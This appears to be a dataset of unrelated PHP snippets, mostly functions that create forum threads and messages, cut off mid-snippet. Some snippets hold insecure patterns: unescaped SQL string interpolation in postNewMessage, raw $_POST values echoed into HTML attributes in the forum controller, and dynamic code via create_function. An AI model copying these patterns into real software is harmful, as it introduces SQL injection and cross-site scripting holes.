"public static function createThread($user_id)\n\t{\n\t\tif (!Input::has('subject')) {\n\t\t\tthrow new Exception('Your message must have a subject');\n\t\t}\n\n\t\t// set subject from input\n\t\t$subject = Input::get('subject');\n\n\t\t// make sure subject is not greater than 100 characters\n\t\tif (strlen($subject) > 100) {\n\t\t\tthrow new Exception('Please limit the subject of your message to 100 characters');\t\t\n\t\t}\n\n\t\t// make sure recipients of the thread were sent\n\t\tif(!is_array(Input::get('recipient'))) {\n\t\t\tthrow new Exception('There must be a recipient of your message');\n\t\t}\n\n\t\t// set recipients from input\n\t\t$recipients = Input::get('recipient');\n\n\t\t// loop through all the recipients and...\n\t\tforeach ($recipients as $recipient) {\n\t\t\t// make sure every recipient is numeric\n\t\t\tif (!is_numeric($recipient)) {\n\t\t\t\tthrow new Exception('Invalid recipient');\n\t\t\t}\n\t\t}\n\n\t\t// make sure message body was sent\n\t\tif (!Input::has('body')) {\n\t\t\tthrow new Exception('The body of your message may not be blank');\n\t\t}\n\n\t\t// set body from input\n\t\t$body = Input::get('body');\n\n\t\t// make sure body is not greater than 1024 characters\n\t\tif (strlen($body) > 1024) {\n\t\t\tthrow new Exception('Please limit the body of your message to 1024 characters (it currently has ' . strlen($body) . ')');\t\t\n\t\t}\n\n\t\t// create a transaction to wrap the creation of Thread, UsersThread, Message, and UsersMessage\n\t\tDB::transaction(function() use ($user_id, $subject, $recipients, $body)\n\t\t{\n\t\t\ttry {\n\t\t\t\t// create new thread\n\t\t\t\t$thread = new Thread();\n\t\t\t\t$thread->subject = $subject;\n\t\t\t\t$thread->save();\n\t\t\t} catch (Exception $e) {\n\t\t\t\tthrow new Exception('Could not create conversation');\n\t\t\t}\n\n\t\t\ttry {\n\t\t\t\t// create record of author in users_threads\n\t\t\t\t$author_thread = new UsersThread();\n\t\t\t\t$author_thread->user_id = $user_id;\n\t\t\t\t$author_thread->thread_id = $thread->id;\n\t\t\t\t$author_thread->save();\n\t\t\t} catch (Exception $e) {\n\t\t\t\tthrow new Exception('Could not create authors connection to conversation');\n\t\t\t}\n\n\t\t\t// loop through all the recipients and...\n\t\t\tforeach ($recipients as $recipient) {\n\n\t\t\t\t// make sure the recipient is not the author\n\t\t\t\tif ($recipient != $user_id) {\n\t\t\t\t\ttry {\n\t\t\t\t\t\t// create record of recipient in users_threads\n\t\t\t\t\t\t$recipient_thread = new UsersThread();\n\t\t\t\t\t\t$recipient_thread->user_id = $recipient;\n\t\t\t\t\t\t$recipient_thread->thread_id = $thread->id;\n\t\t\t\t\t\t$recipient_thread->save();\n\t\t\t\t\t} catch (Exception $e) {\n\t\t\t\t\t\tthrow new Exception('Could not create recipients connection to conversation');\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// create message (users threads caches are deleted in createMessage)\n\t\t\tMessagesService::createMessage($thread->id, $user_id, $recipients, $body);\t\t\t\n\t\t});\n\t}",
"protected function createMessage()\n {\n $message = new Message(new Swift_Message);\n\n\n // If a global from address has been specified we will set it on every message\n // instances so the developer does not have to repeat themselves every time\n // they create a new message. We will just go ahead and push the address.\n if (isset($this->from['address'])) {\n $message->from($this->from['address'], $this->from['name']);\n }\n\n return $message;\n }",
"protected function createMessage() {\n $config = $this->messageConfig;\n if (!array_key_exists('class', $config)) {\n $config['class'] = $this->messageClass;\n }\n $config['smser'] = $this;\n return Yii::createObject($config);\n }",
"private function newMessage()\n {\n /* @var $config ModuleOptions */\n $config = $this->serviceLocator->get('EscoMail\\Options');\n\n $this->message = new Message();\n $this->message->setFrom($config->getMailSendFrom(), $config->getMailSendFromName());\n\n return $this->message;\n }",
"protected function createMessage()\n\t{\n\t\t$config = $this->messageConfig;\n\t\tif (!array_key_exists('class', $config)) {\n\t\t\t$config['class'] = $this->messageClass;\n\t\t}\n\t\t$config['mailer'] = $this;\n\n\t\treturn Yii::createObject($config);\n\t}",
"public function create($id)\n {\n $thread = $this->threadManager->createThread();\n $thread->setId($id);\n $thread->setPermalink($this->request->getUri());\n $this->threadManager->addThread($thread);\n\n return $thread;\n }",
"public static function create($boardID, $languageID, $prefix, $subject, $text, $userID, $username, $sticky = 0, $announcement = 0, $closed = 0, $options = array(), $subscription = 0, $attachments = null, $poll = null, $disabled = 0) {\n\t\t$attachmentsAmount = $attachments != null ? count($attachments->getAttachments()) : 0;\n\t\t$polls = ($poll != null && $poll->pollID) ? 1 : 0;\n\t\t\n\t\t// insert thread\n\t\t$threadID = self::insert($subject, $boardID, array(\n\t\t\t'languageID' => $languageID,\n\t\t\t'userID' => $userID,\n\t\t\t'username' => $username,\n\t\t\t'prefix' => $prefix,\n\t\t\t'time' => TIME_NOW,\n\t\t\t'lastPostTime' => TIME_NOW,\n\t\t\t'lastPosterID' => $userID,\n\t\t\t'lastPoster' => $username,\n\t\t\t'attachments' => $attachmentsAmount,\n\t\t\t'polls' => $polls,\n\t\t\t'isSticky' => $sticky,\n\t\t\t'isAnnouncement' => $announcement,\n\t\t\t'isClosed' => $closed,\n\t\t\t'isDisabled' => $disabled,\n\t\t\t'everEnabled' => ($disabled ? 0 : 1)\n\t\t));\n\t\t\n\t\t// create post\n\t\t$post = PostEditor::create($threadID, $subject, $text, $userID, $username, $options, $attachments, $poll, null, $disabled, true);\n\t\t\n\t\t// update first post id\n\t\t$sql = \"UPDATE\twbb\".WBB_N.\"_thread\n\t\t\tSET\tfirstPostID = \".$post->postID.\"\n\t\t\tWHERE\tthreadID = \".$threadID;\n\t\tWCF::getDB()->sendQuery($sql);\n\t\t\n\t\t// update first post preview\n\t\tPostEditor::updateFirstPostPreview($threadID, $post->postID, $text, $options);\n\t\t\n\t\t// get thread object\n\t\t$thread = new ThreadEditor($threadID);\n\t\t\n\t\t// update subscription\n\t\t$thread->setSubscription($subscription);\n\t\t\n\t\t// get similar threads\n\t\tself::updateSimilarThreads($threadID, $subject, $boardID);\n\t\t\n\t\treturn $thread;\n\t}",
"public function __construct($threadid,$message,$sendername,$sender_id,$sender_role = \"\",$created_at)\n {\n //\n $this->message = $message;\n $this->threadid = $threadid;\n $this->sendername = $sendername;\n $this->senderid = $sender_id;\n if(!empty($sender_role)) {\n $this->senderrole = $sender_role;\n }\n $this->created_at = $created_at;\n }",
"public function __construct()\n {\n // for example creates \"thread\"\n }",
"public function create()\n {\n\n return view(\"thread.create\");\n }",
"public function create()\n {\n $thread = new Thread;\n $comment = new Comment;\n $page = Param::get('page_next', 'create');\n $username = $_SESSION['username'];\n\n switch ($page) {\n case 'create':\n break;\n case 'create_end';\n $thread->title = Param::get('title');\n $comment->username = $username;\n $comment->body = Param::get('body');\n try {\n $thread->create($comment);\n } catch (ValidationException $e) {\n $page = 'create';\n }\n break;\n default:\n throw new NotFoundException(\"{$page} is not found\");\n break;\n }\n\n $this->set(get_defined_vars());\n $this->render($page);\n }",
"public function createMessage(): MessageInterface;",
"public function create()\n\t{\n\n\t\t$post = $this->store('create', '/thread/new');\n\n\t\tredirect('/threads?id=' . $post->id);\n\t}",
"public function create()\n {\n /**\n * Placeholder for now, only \"oisenon\" user can create thread\n * \n */\n if(Auth::user()->id !== 1){\n return 'Access denied.';\n }\n return view('threads.create');\n }",
"public function newAction()\n {\n $entity = new Thread();\n $form = $this->createCreateForm($entity);\n\n return $this->render('APiszczekDemoBundle:Thread:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }",
"private function newMessage(array $data)\n {\n\n $message = Message::create([\n 'channel_id' => $data['channel_id'],\n 'user_id' => Auth::guard()->user()->id,\n 'message' => $data['message']\n ]);\n if ($message) {\n $this->notifyChannelUsers($data['channel_id']);\n }\n return $message;\n }",
"public function create_post() {\n\t\t$data['uid'] = $this->input->get('uid');\n\t\t$data['to'] = $this->input->get('to');\n\t\t$data['text'] = $this->input->get('text');\n\t\t$data['ts'] = now();\n\n\t\t$this->Messages_model->create($data);\n\t}",
"public function initMessage() {}",
"public function initiate($userId)\n {\n if ($userId < 1 || $userId == UserAuthentication::getLoggedUserId()) {\n Message::addErrorMessage(Label::getLabel('LBL_Invalid_Request'));\n $json['redirectUrl'] = CommonHelper::redirectUserReferer(true);\n FatUtility::dieJsonError($json);\n }\n $userArr = array(\n $userId,\n UserAuthentication::getLoggedUserId()\n );\n $threadobj = new Thread();\n $threadId = $threadobj->getThreadId($userArr);\n $srch = new MessageSearch();\n $srch->joinThreadMessage();\n $srch->joinMessagePostedFromUser();\n $srch->joinMessagePostedToUser();\n //$srch->joinThreadStartedByUser();\n $srch->addMultipleFields(array('tth.*', 'ttm.message_id', 'ttm.message_text', 'ttm.message_date', 'ttm.message_is_unread'));\n $srch->addCondition('ttm.message_deleted', '=', 0);\n $srch->addCondition('tth.thread_id', '=', $threadId);\n $cnd = $srch->addCondition('ttm.message_from', '=', $userId);\n $cnd->attachCondition('ttm.message_to', '=', $userId, 'OR');\n $srch->addOrder('message_id', 'DESC');\n $rs = $srch->getResultSet();\n $records = array();\n if ($rs) {\n $records = FatApp::getDb()->fetchAll($rs, 'message_id');\n if ($srch->recordCount() > 0) {\n $json['redirectUrl'] = CommonHelper::generateUrl('Messages');\n $json['threadId'] = $threadId;\n FatUtility::dieJsonSuccess($json);\n }\n }\n $frm = $this->sendMessageForm($this->siteLangId);\n $frm->fill(array('message_thread_id' => $threadId));\n $this->set('frm', $frm);\n $json['html'] = $this->_template->render(false, false, 'messages/generate-thread-pop-up.php', true, false);\n FatUtility::dieJsonSuccess($json);\n if ($threadId) {\n FatApp::redirectUser(CommonHelper::generateUrl('Messages', 'thread', array($threadId)));\n }\n Message::addErrorMessage($threadobj->getError());\n CommonHelper::redirectUserReferer();\n }",
"public function actionCreate()\n {\n $model = new Thread();\n $model->user_id = Yii::$app->user->id;\n\n $newCommentModel = new Comment();\n $newCommentModel->user_id = Yii::$app->user->id;\n\n $postData = Yii::$app->request->post();\n if ($model->load($postData) && $res = $model->save()) {\n $newCommentModel->load(Yii::$app->request->post());\n $newCommentModel->thread_id = $model->id;\n $newCommentModel->user_id = Yii::$app->user->id;\n $newCommentModel->save();\n\n return $this->redirect(['view', 'id' => $model->id]);\n } else {\n return $this->render('create', [\n 'model' => $model,\n 'newCommentModel' => $newCommentModel,\n ]);\n }\n }",
"public static function toThread($data)\n {\n $thread = new ForumThread(Parse::clean($data->topic));\n $thread->setId(Parse::clean($data->id));\n $thread->setSubjectFK(Parse::clean($data->subject));\n\n return $thread;\n }",
"function post_new_reply() {\n\tglobal $core, $document, $user, $boards, $threads, $posts, $db;\n\n\tif (!isset($_POST['thread_id']) || !isset($_POST['board_id']) || !isset($_POST['post_name']) || !isset($_POST['post_message'])) {\n\t\tfatal_error(\"Some or all of the information needed to post a new message are missing. Please try again\");\n\t}\n\n\t//Make fields safe\n\t$boardid = make_safe(\"int\",$_POST['board_id']);\n\t$threadid = make_safe(\"int\",$_POST['thread_id']);\n\t$postname = make_safe(\"text\",$_POST['post_name']);\n\t$postmessage = make_safe(\"text\",$_POST['post_message']);\n\n\t//Sanity check fields\n\tif (strlen($postname) < 2 || strlen($postmessage) < 10) { \n\t\tfatal_error(\"Your message title or message text is too short. Please try again\");\n\t}\n\tif (!$boards->get_board($boardid)) {\n\t\tfatal_error(\"Invalid board specified. Please try again\");\n\t} \n\tif (!$threads->get_thread($threadid)) {\n\t\tfatal_error(\"Invalid thread specified. Please try again\");\n\t}\n\n\t//Now post the message\n\t$posts->new_post($user->get(\"user_id\"),$boardid,$threadid,$postname,$postmessage);\n\n\t//Now go back to the forum\n\t$core->do_redirect(\"forumdisplay.php?f=$boardid\");\t\t\n}",
"protected static function newFactory()\n {\n return MessageFactory::new();\n }",
"function createMessage($object) {\n\tglobal $USER;\n\t\n\t$message = new \\core\\message\\message();\n\t$message->component = 'local_littlehelpers';\n\t$message->name = 'paragraph52notification';\n\t$message->userfrom = $USER;\n\t\n\t// Get user\n\t$message->userto = core_user::get_user($object->useridto);\n\t\n\t// force email sending\n\t$message->userto->emailstop = 0;\n\t\n\t$message->subject = $object->subject;\n\t$message->fullmessage = $object->fullmessage;\n\t$message->fullmessageformat = FORMAT_MARKDOWN;\n\t$message->fullmessagehtml = $object->fullmessagehtml;\n\t$message->smallmessage = $object->smallmessage;\n\t$message->notification = '0';\n\t\n\t$message->contexturl = 'https://moodle.tu-darmstadt.de/local/littlehelpers/paragraph52';\n\t$message->contexturlname = 'Paragraph52';\n\t$message->replyto = \"[email protected]\";\n\n\treturn $message;\n}",
"function createThread($boardUrl, $subject, $comment, $user, $ip){\n R::begin();\n try {\n $board = boardByURL($boardUrl);\n $user = checkSetDefaultPoster($user, $board);\n $thread = R::dispense(TTHREAD::TABLE);\n R::store($thread);\n $post = _dispensePost($board, $subject, $comment, $user, $ip);\n $post[TPOST::ISOP] = true;\n R::store($post);\n array_push($thread[TTHREAD::POSTS], $post);\n array_push($board[TBOARD::THREADS], $thread);\n R::store($board);\n R::commit();\n } catch(Exception $e) {\n R::rollback();\n }\n \n }",
"function postNewMessage($user_id, $thread_id, $message)\n\t\t{\n\t\t\t$query=sqlite_exec($this->connection, \"INSERT INTO message(thread_id, user_id, message, date) VALUES($thread_id, $user_id, $message, NOW())\");\n\t\t}",
"public function create() {\n\t\t$user = $this->current_user();\n\t\t$message = $this->discussion->create_message($this->message_data() + ['creator' => ['id' => $user->_id, 'name' => $user->name]]);\n\n\t\tif ($this->discussion->push_message($message)) {\n\t\t\treturn $this->redirect(['Discussions::show', 'id' => $this->discussion->_id, 'project_id' => $this->discussion->project_id]);\n\t\t}\n\n\t\treturn compact('message');\n\t}",
"public static function replyMessage($user_id, $thread_id)\n\t{\n\t\tif (!Input::has('body')) {\n\t\t\tthrow new Exception('The body of your message may not be blank');\n\t\t}\n\n\t\t// set body from input\n\t\t$body = Input::get('body');\n\n\t\t// make sure body is not greater than 1024 characters\n\t\tif (strlen($body) > 1024) {\n\t\t\tthrow new Exception('Please limit the body of your message to 1024 characters (it currently has ' . strlen($body) . ')');\t\t\n\t\t}\n\n\t\t// get list of recipients\n\t\t$recipients = UsersThread::where('thread_id', $thread_id)\n\t\t\t->lists('user_id');\n\n\t\t// create a transaction to wrap the creation of Message, and UsersMessage\n\t\tDB::transaction(function() use ($user_id, $thread_id, $recipients, $body)\n\t\t{\n\t\t\t// make sure any messages in this thread are marked as read by the author \n\t\t\t$unread_messages = DB::table('messages')\n\t\t\t\t->join('users_messages', 'messages.id', '=', 'users_messages.message_id')\n\t\t\t\t->select('users_messages.id as users_message_id')\n\t\t\t\t->where('users_messages.user_id', $user_id)\n\t\t\t\t->where('users_messages.message_read', 0)\n\t\t\t\t->where('messages.thread_id', $thread_id)\n\t\t\t\t->lists('users_message_id');\n\n\t\t\t// loop through any found to not be read\n\t\t\tforeach ($unread_messages as $unread_message) {\n\t\t\t\t// get record of users message\n\t\t\t\t$users_message = UsersMessage::find($unread_message);\n\t\t\t\t\n\t\t\t\t// mark users message as read\n\t\t\t\t$users_message->message_read = 1;\n\t\t\t\t$users_message->save();\n\t\t\t}\n\n\t\t\t// create message (users threads caches are deleted in createMessage)\n\t\t\tMessagesService::createMessage($thread_id, $user_id, $recipients, $body);\t\t\t\t\t\n\t\t});\n\t}",
"public function testMessageThreadsV2Post()\n {\n }",
"function newthread( $args )\n\t{\n\t // if not logged in redirect\n\t if( !$this->app->user->is_logged_in() ){\n\t $this->app->redirect('user/login');\n\t }\n\t \n\t // get board id\n\t $board_id = (int) $args['id'];\n\t \n\t // get board info\n\t $boards_model = $this->app->\n\t model('forum_boards','forum/models');\n\t \n\t // get board item\n\t $board = $boards_model->get_item( $board_id );\n\t \n\t // check if board exists\n\t if( count($board) == 0 ){\n\t $this->app->redirect('forum');\n\t }\n\t \n\t // action message\n\t $action_message = null;\n\t \n\t \n\t \n\t // init failed submission values\n\t $name_value = '';\n\t $description_value = '';\n\t \n\t \n\t /* -------------------------\n\t * Check for form submission\n\t */\n\t if( $_SERVER['REQUEST_METHOD'] == 'POST' && \n\t isset( $_POST['name']) && \n\t $_POST['name'] != null &&\n\t isset( $_POST['description']) && \n\t $_POST['description'] != null\n\t ){\n\t \n\t // get threads model\n\t $threads_model = $this->app->\n\t model('forum_threads','forum/models');\n\t \n\t // add the new thread\n\t $success = $threads_model->\n\t new_item($this->app->user->get_user_id(), \n\t $board_id, $_POST );\n\t \n\t // test for success\n\t if( $success ){\n\t \n\t // get most recent thread\n\t $thread = $threads_model->last_thread();\n\t \n\t // increment thread count\n\t $boards_model->increment_thread($board_id);\n\t \n\t // redirect to the new thread\n\t $this->app->redirect('forum/thread/'.$thread['id']);\n\t }\n\t } elseif($_SERVER['REQUEST_METHOD'] == 'POST' ) {\n\t $action_message = \"One ore more required inputs were not \n\t provided.\";\n\t \n\t $name_value = 'value=\"'.$_POST['name'].'\"';\n\t $description_value = $_POST['description'];\n\t \n\t }\n\t \n\t // add init values\n\t $this->view->add('name_value',$name_value);\n\t $this->view->add('description_value',$description_value);\n\t \n\t // add action message\n\t $this->view->add('action_message',$action_message);\n\t \n\t \n\t \n\t /* -------------------------\n\t * Action paths defined here\n\t */\n\t \n\t // action on form submit\n\t $this->view->add('submit_action',\n\t $this->app->form_path('forum/newthread/'.$board_id));\n\t \n\t // get wysiwyg extension\n\t $wysiwyg = $this->app->extension('wysiwyg');\n\t \n\t // set page title\n\t $this->view->add('page_title','Create a new thread');\n\t \n\t}",
"static public function factory($messageType = 3) {\n\t\treturn new self($messageType);\n\t}",
"public function receive(Request $input, ThreadService $threadService)\n {\n // if not create thread, create users\n // if yes pull thread\n // if does exist, parse stripped html and create message\n // if does not exist, parse body-html and create messages\n // send email with thread\n /*Log::info(\"Success\");\n die();*/\n $threadService->handle($input);\n\n }",
"public function createMailMessage();",
"public function create($channel, $data)\n {\n return $channel->threads()->create([\n 'title' => $data['title'],\n 'body' => $data['body'],\n 'user_id' => auth()->user()->id\n ]);\n }",
"public function user_message_create() {\n\t\t$this->onDebug ( __METHOD__, 1 );\n\t\tif ($this->valide_userid () == false) {\n\t\t\treturn $this;\n\t\t}\n\t\t$message_created = $this->getObjetO365Wsclient ()\n\t\t\t->jsonPostMethod ( '/users/' . $this->getUserId () . '/messages', $this->getEmailContent () );\n\t\t$this->onDebug ( $message_created, 2 );\n\t\tif (isset ( $message_created->id ) && ! empty ( $message_created->id )) {\n\t\t\treturn $this->setO356MessageRef ( $message_created )\n\t\t\t\t->setMessageId ( $message_created->id );\n\t\t}\n\t\treturn $this->onError ( 'Pas d\\'ID durant la creation du message de O365', $message_created, 1 );\n\t}",
"public function created(Thread $thread)\n {\n $thread->user->recordActivity('created a new thread:', $thread);\n }",
"function tn_add_message( $type, $message ) {\n\t$m = TN_Messages::get_instance();\n\t$m->add_message( array( $type => $message ) );\n}",
"public function createMessage(array $parameters = []);",
"public function testMessageThreadsV2GetMessages()\n {\n }",
"public static function init( $_id )\n {\n $message = new Message();\n $message->get( $_id );\n return $message;\n }",
"public function createMessage(string $typeName): MessageInterface;",
"public function createLink() {\n\t\t$sql = \"INSERT INTO\twbb\".WBB_N.\"_thread\n\t\t\t\t\t(boardID, languageID, prefix, topic, time, userID, username, lastPostTime, \n\t\t\t\t\tlastPosterID, lastPoster, replies, views, ratings, rating, attachments,\n\t\t\t\t\tpolls, isAnnouncement, isSticky, isDisabled, everEnabled, isClosed, isDeleted,\n\t\t\t\t\tmovedThreadID, movedTime, deleteTime, deletedBy, deletedByID, deleteReason)\n\t\t\tVALUES\t\t(\".$this->boardID.\",\n\t\t\t\t\t\".$this->languageID.\",\n\t\t\t\t\t'\".escapeString($this->prefix).\"',\n\t\t\t\t\t'\".escapeString($this->topic).\"',\n\t\t\t\t\t\".$this->time.\",\n\t\t\t\t\t\".$this->userID.\",\n\t\t\t\t\t'\".escapeString($this->username).\"',\n\t\t\t\t\t\".$this->lastPostTime.\",\n\t\t\t\t\t\".$this->lastPosterID.\",\n\t\t\t\t\t'\".escapeString($this->lastPoster).\"',\n\t\t\t\t\t\".$this->replies.\",\n\t\t\t\t\t\".$this->views.\",\n\t\t\t\t\t\".$this->ratings.\",\n\t\t\t\t\t\".$this->rating.\",\n\t\t\t\t\t\".$this->attachments.\",\n\t\t\t\t\t\".$this->polls.\",\n\t\t\t\t\t\".$this->isAnnouncement.\",\n\t\t\t\t\t\".$this->isSticky.\",\n\t\t\t\t\t\".$this->isDisabled.\",\n\t\t\t\t\t\".$this->everEnabled.\",\n\t\t\t\t\t\".$this->isClosed.\",\n\t\t\t\t\t\".$this->isDeleted.\",\n\t\t\t\t\t\".$this->threadID.\",\n\t\t\t\t\t\".TIME_NOW.\",\n\t\t\t\t\t\".$this->deleteTime.\",\n\t\t\t\t\t'\".escapeString($this->deletedBy).\"',\n\t\t\t\t\t\".$this->deletedByID.\",\n\t\t\t\t\t'\".escapeString($this->deleteReason).\"')\";\n\t\tWCF::getDB()->sendQuery($sql);\n\t}",
"public function create()\n {\n return view(\"thread.form\");\n }",
"public function create(Request $request)\n {\n $this->authorize('create', Thread::class);\n\n return view('threads.create');\n }",
"public function generateThread($forum_id, $user, $subject, $message, $notify, $notify_posts, $alias = '', $date = '')\n\t{\t\n\t\tglobal $ilDB;\n\n\t\t$objNewThread = new ilForumTopic();\n\t\t$objNewThread->setForumId($forum_id);\n\t\t$objNewThread->setUserId($user);\n\t\t$objNewThread->setSubject($subject);\n\t\tif ($date == \"\")\n\t\t{\n\t\t\t$objNewThread->setCreateDate(date(\"Y-m-d H:i:s\"));\n\t\t}\n\t\telse\n\t\t{\n\t\t\tif (strpos($date, \"-\") > 0)\t\t// in mysql format\n\t\t\t{\n\t\t\t\t$objNewThread->setCreateDate($date);\n\t\t\t}\n\t\t\telse\t\t\t\t\t\t\t\t// a timestamp\n\t\t\t{\n\t\t\t\t$objNewThread->setCreateDate(date(\"Y-m-d H:i:s\", $date));\n\t\t\t}\n\t\t}\n\t\t$objNewThread->setImportName($this->getImportName());\n\t\t$objNewThread->setUserAlias($alias);\n\t\t$objNewThread->insert();\n\t\t\n\t\tif ($notify_posts == 1)\n\t\t{\n\t\t\t$objNewThread->enableNotification($user);\n\t\t}\n\t\t\t\n\t\t// update forum\n\t\t$statement = $ilDB->manipulateF('\n\t\t\tUPDATE frm_data \n\t\t\tSET top_num_threads = top_num_threads + 1\n\t\t\tWHERE top_pk = %s',\n\t\t\tarray('integer'), array($forum_id));\n\t\t\n\t\treturn $this->generatePost($forum_id, $objNewThread->getId(), $user, $message, 0, $notify, $subject, $alias, $objNewThread->getCreateDate());\n\t}",
"public static function factory($raw_message = null, $class_name = null) {}",
"function message($message_id)\n\t{\n\t\t//echo '<pre>'.$this->MessageFunc.'</pre>';\n\t\t$func = create_function('$id,$text',$this->MessageFunc);\n\t\t\n\t\t$func($message_id,$this->forum_text[$message_id]);\n\t\treturn false;\n\t}",
"private function createMessageObject(string $type, string $message): Notification\n {\n $msg = new Notification();\n\n $msg->setType($type);\n $msg->setMessage($message);\n\n $this->handler->add($msg);\n\n return $msg;\n }",
"function thread( $args )\n\t{\n\t $thread_id = (int)$args['id'];\n\t \n\t // check for existance, use threads model\n\t $threads_model = $this->app->\n\t model('forum_threads','forum/models');\n\t \n\t\t// boards model\n\t\t$boards_model = $this->app->\n\t\t model('forum_boards', 'forum/models'); \n\t \n\t // posts model\n\t $posts_model = $this->app->\n\t model('forum_posts','forum/models');\n\t \n\t // get item\n\t $thread = $threads_model->get_item( $thread_id );\n\t $thread = ( count($thread) > 0 ) ? $thread[0] : null;\n\t \n\t \n\t // imprtant stuffs\n\t if( $thread == null ){\n\t \n\t \t// redirect\n\t \t$this->app->redirect('forum');\n\t }\n\t \n\t \n // get board\n $board = $boards_model->get_item((int)$thread['board_id']);\n $board = $board[0];\n \n // set page title\n $this->view->add('page_title',\n 'Viewing thread: ' . $thread['name'] );\n \n // set index action\n $this->view->add('index_action',\n $this->app->form_path('forum'));\n \n // set board action\n $this->view->add('board_action',\n $this->app->form_path('forum/board/'.$board['id']));\n \n // good\n $this->view->add('board_name', $board['name'] );\n\t \n\t // need an action message\n\t $action_message = null;\n\t \n\t // init text area values\n\t $name_value = '';\n\t $post_value = '';\n\t \n\t \n\t // check for post\n\t if( $_SERVER['REQUEST_METHOD'] == 'POST' &&\n\t \tisset($_POST['name']) &&\n\t \t$_POST['name'] != null &&\n\t \tisset($_POST['post']) &&\n\t \t$_POST['name'] != null \n\t ){\n\t \t\n\t \t// add success\n\t \t$success = $posts_model->new_item( \n\t \t\t$this->app->user->get_user_id(), $thread_id, $_POST );\n\t \t\n\t \t// test for success\n\t \tif( $success ){\n\t \t\n\t \t\t// increment reply count\n\t \t\t$threads_model->increment_reply( $thread_id );\n\t \t\t\t \t\n\t \t\t$action_message = 'Post successfully added.';\n\t \t} else {\n\t \t\t$action_message = 'There was an error adding your post';\n\t \t}\n\t \t\n\t } elseif( $_SERVER['REQUEST_METHOD'] == 'POST' ) {\n\t \t\n\t \t$action_message = 'One or more required fields was not\n\t \t\tprovided';\n\t \t\t\n\t \t// update values\n\t\t\t$name_value = 'value=\"'.$_POST['name'].'\"';\n\t\t\t$post_value = $_POST['post'];\n\t }\n\t \n\t \n\t // add them\n\t $this->view->add('name_value',$name_value);\n\t $this->view->add('post_value',$post_value);\n\t \n\t // add actio message\n\t $this->view->add('action_message',$action_message);\n\t \n\t // get limits\n\t $limit = 10;\n\t \n\t // get page\n\t $page = 0;\n\t if( isset($_GET['p']) ){\n\t $page = (int)$_GET['p'];\n\t }\n\t \n\t // get replies\n\t $posts_result = $posts_model->limit($limit)->page($page)->\n\t get_all($thread_id);\n\t \n\t //\n\t $this->view->add('posts_result',$posts_result);\n\t \n\t $reply_count = ($thread==null) ? 0 :(int)$thread['reply_count'];\n\t \n\t // add paging\n\t $this->view->add('page_info',array(\n\t // posts count\n\t 'page_count' => (int)(($reply_count) / $limit)+1,\n\t 'this_page' => $page\n\t ));\n\t \n\t \n\t // add actions\n\t $this->view->add('page_action',\n\t $this->app->form_path('forum/thread/'.$thread_id.'?p='));\n\t \n\t $this->view->add('reply_action',$this->app->\n\t form_path('forum/thread/'.$thread_id.'?p='.$page));\n\t \n\t \n\t // add to the view\n\t $this->view->add('thread_result',$thread);\n\t \n\t \n\t // get wysiwyg extension\n\t $wysiwyg = $this->app->extension('wysiwyg');\n\t \n\t}",
"public function create(int $forumId, int $userId, string $title, string $body): \\Gazelle\\ForumThread {\n $db = new \\Gazelle\\DB;\n $db->relaxConstraints(true);\n self::$db->prepared_query(\"\n INSERT INTO forums_topics\n (ForumID, Title, AuthorID, LastPostAuthorID)\n Values (?, ?, ?, ?)\n \", $forumId, $title, $userId, $userId\n );\n $thread = $this->findById(self::$db->inserted_id());\n $postId = $thread->addPost($userId, $body);\n $db->relaxConstraints(false);\n (new \\Gazelle\\Stats\\User($userId))->increment('forum_thread_total');\n return $thread;\n }",
"public function testMessageThreadsV2GetMessages0()\n {\n }",
"function createThread(&$dbparams, &$contentitem, $forumid, &$status)\n\t{\n\t\ttry {\n\t\t\t//setup some variables\n\t\t\t$userid = $this->getThreadAuthor($dbparams, $contentitem);\n\t\t\t$db = JFusionFactory::getDatabase($this->getJname());\n\t\t\t$subject = trim(strip_tags($contentitem->title));\n\n\t\t\t//prepare the content body\n\t\t\t$text = $this->prepareFirstPostBody($dbparams, $contentitem);\n\n\t\t\t//the user information\n\n\t\t\t$query = $db->getQuery(true)\n\t\t\t\t->select('username, username_clean, user_colour, user_permissions')\n\t\t\t\t->from('#__users')\n\t\t\t\t->where('user_id = ' . (int) $userid);\n\n\t\t\t$db->setQuery($query);\n\t\t\t$user = $db->loadObject();\n\n\t\t\tif ($dbparams->get('use_content_created_date', false)) {\n\t\t\t\t$timezone = JFusionFactory::getConfig()->get('offset');\n\t\t\t\t$timestamp = strtotime($contentitem->created);\n\t\t\t\t//undo Joomla timezone offset\n\t\t\t\t$timestamp += ($timezone * 3600);\n\t\t\t} else {\n\t\t\t\t$timestamp = time();\n\t\t\t}\n\n\t\t\t$topic = new stdClass();\n\t\t\t$topic->topic_poster = (int) $userid;\n\t\t\t$topic->topic_time = $timestamp;\n\t\t\t$topic->forum_id = $forumid;\n\t\t\t$topic->icon_id = false;\n\t\t\t$topic->topic_visibility = 1;\n\t\t\t$topic->topic_title = $subject;\n\t\t\t$topic->topic_first_poster_name\t= $user->username;\n\t\t\t$topic->topic_first_poster_colour = $user->user_colour;\n\t\t\t$topic->topic_type = 0;\n\t\t\t$topic->topic_time_limit = 0;\n\t\t\t$topic->topic_attachment = 0;\n\n\t\t\t$db->insertObject('#__topics', $topic, 'topic_id' );\n\n\t\t\t$bbcode = $this->helper->bbcode_parser($text);\n\n\t\t\t$post = new stdClass();\n\t\t\t$post->forum_id\t\t\t= (int) $forumid;\n\t\t\t$post->topic_id \t\t= (int) $topic->topic_id;\n\t\t\t$post->poster_id\t\t= (int) $userid;\n\t\t\t$post->icon_id\t\t\t= 0;\n\t\t\t$post->poster_ip\t\t= $_SERVER['REMOTE_ADDR'];\n\t\t\t$post->post_time\t\t= (int) $timestamp;\n\t\t\t$post->post_visibility\t= 1;\n\t\t\t$post->enable_bbcode\t= 1;\n\t\t\t$post->enable_smilies\t= 1;\n\t\t\t$post->enable_magic_url\t= 1;\n\t\t\t$post->enable_sig\t\t= 1;\n\t\t\t$post->post_username\t= $user->username;\n\t\t\t$post->post_subject\t\t= $subject;\n\t\t\t$post->post_text\t\t= $bbcode->text;\n\t\t\t$post->post_checksum\t= md5($bbcode->text);\n\t\t\t$post->post_attachment\t= 0;\n\t\t\t$post->bbcode_bitfield\t= $bbcode->bbcode_bitfield;\n\t\t\t$post->bbcode_uid\t\t= $bbcode->bbcode_uid;\n\t\t\t$post->post_postcount\t= 1;\n\t\t\t$post->post_edit_locked\t= 